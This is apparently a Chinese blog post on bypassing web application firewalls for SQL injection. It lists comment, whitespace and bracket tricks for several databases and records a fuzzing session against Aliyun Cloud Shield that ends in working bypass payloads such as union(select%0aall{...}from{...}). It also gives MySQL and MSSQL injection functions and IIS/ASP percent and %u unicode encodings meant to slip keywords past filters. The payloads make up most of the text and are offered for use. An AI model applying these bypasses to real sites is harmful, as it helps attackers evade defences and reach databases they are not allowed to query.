我的WafBypass之道(SQL注入篇)

0x02 司空见惯


我们还需要把各种特性都记牢,在运用时加以变化会很有效果。

数据库特性:

  • 注释:
  1. --
  2. -- -
  3. --+
  4. //
  5. /**/
  6. /*letmetest*/

利用注释简单绕过云锁的一个案例:

拦截的,但/**/ > 1个就可以绕过了,也就是/**//**/以上都可以。

  • 科学记数法:

  • 空白字符:

  1. SQLite3 0A 0D 0C 09 20
  2. MySQL5 09 0A 0B 0C 0D A0 20
  3. PosgresSQL 0A 0D 0C 09 20
  4. Oracle 11g 00 0A 0D 0C 09 20
  5. MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
  • +号:

  • -号:

  • ``符号:

  • ~号:

  • !号:

  • @`形式`:

  • 点号.1:

  • 单引号双引号:

  • 括号select(1):


试试union(select)云盾会不会拦截

  • 花括号:

这里举一个云盾的案例,并附上当时fuzz的过程:

  1. union+select 拦截
  2. select+from 不拦截
  3. select+from+表名 拦截
  4. union(select) 不拦截
  5. 所以可以不用在乎这个union了。
  6. union(select user from ddd) 拦截
  7. union(select%0aall) 不拦截
  8. union(select%0aall user from ddd) 拦截
  9. fuzz下select%0aall与字段之间 + 字段与from之间 + from与表名之间 + 表名与末尾圆括号之间可插入的符号。
  10. union(select%0aall{user}from{ddd}) 不拦截。

Bypass Payload:

  1. 1 union(select%0aall{x users}from{x ddd})
  2. 1 union(select%0adistinct{x users}from{x ddd})
  3. 1 union(select%0adistinctrow{x users}from{x ddd})

可运用的sql函数&关键字:

  1. MySQL:
  2. union distinct
  3. union distinctrow
  4. procedure analyse()
  5. updatexml()
  6. extracavalue()
  7. exp()
  8. ceil()
  9. atan()
  10. sqrt()
  11. floor()
  12. ceiling()
  13. tan()
  14. rand()
  15. sign()
  16. greatest()
  17. 字符串截取函数
  18. Mid(version(),1,1)
  19. Substr(version(),1,1)
  20. Substring(version(),1,1)
  21. Lpad(version(),1,1)
  22. Rpad(version(),1,1)
  23. Left(version(),1)
  24. reverse(right(reverse(version()),1)
  25. 字符串连接函数
  26. concat(version(),'|',user());
  27. concat_ws('|',1,2,3)
  28. 字符转换
  29. Char(49)
  30. Hex('a')
  31. Unhex(61)
  32. 过滤了逗号
  33. (1)limit处的逗号:
  34. limit 1 offset 0
  35. (2)字符串截取处的逗号
  36. mid处的逗号:
  37. mid(version() from 1 for 1)
  38. MSSQL:
  39. IS_SRVROLEMEMBER()
  40. IS_MEMBER()
  41. HAS_DBACCESS()
  42. convert()
  43. col_name()
  44. object_id()
  45. is_srvrolemember()
  46. is_member()
  47. 字符串截取函数
  48. Substring(@@version,1,1)
  49. Left(@@version,1)
  50. Right(@@version,1)
  51. (2)字符串转换函数
  52. Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass
  53. Char('97')
  54. exec

Mysql BIGINT数据类型构造溢出型报错注入: BIGINT Overflow Error Based SQL Injection http://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html

容器特性:

  • %特性:

asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉,而没特殊要求的waf当然是不会的:

修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。

  • %u特性:

iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf就不一定了:

修复过后:

这个特性还存在另一个case,就是多个widechar会有可能转换为同一个字符。

  1. s%u0065lect->select
  2. s%u00f0lect->select

WAF对%u0065会识别出这是e,组合成了select关键字,但有可能识别不出%u00f0

其实不止这个,还有很多类似的:

  1. 字母a:
  2. %u0000
  3. %u0041
  4. %u0061
  5. %u00aa
  6. %u00e2
  7. 单引号:
  8. %u0027
  9. %u02b9
  10. %u02bc
  11. %u02c8
  12. %u2032
  13. %uff07
  14. %c0%27
  15. %c0%a7
  16. %e0%80%a7
  17. 空白:
  18. %u0020
  19. %uff00
  20. %c0%20
  21. %c0%a0
  22. %e0%80%a0
  23. 左括号(:
  24. %u0028
  25. %uff08
  26. %c0%28
  27. %c0%a8
  28. %e0%80%a8
  29. 右括号):
  30. %u0029
  31. %uff09
  32. %c0%29
  33. %c0%a9
  34. %e0%80%a9
我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章